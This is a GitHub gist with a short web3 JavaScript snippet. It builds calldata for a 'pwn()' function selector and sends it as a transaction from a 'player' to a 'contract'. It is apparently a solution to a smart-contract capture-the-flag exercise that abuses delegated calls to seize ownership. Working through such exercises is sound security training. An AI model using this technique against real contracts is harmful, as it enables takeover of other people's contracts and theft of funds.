Created
January 15, 2022 08:57
-
-
Save tennisonchan/115e5e3fce2ae33573a34b18be190a2a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const signature = web3.utils.sha3('pwn()').slice(0,10); | |
const valueToUpdate = 1234; | |
const msgData = signature + web3.utils.toHex(valueToUpdate).slice(2).padStart(64, '0'); | |
await web3.eth.sendTransaction({ | |
from: player, | |
to: contract.address, | |
gas: 2999992, | |
data: msgData}, | |
); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment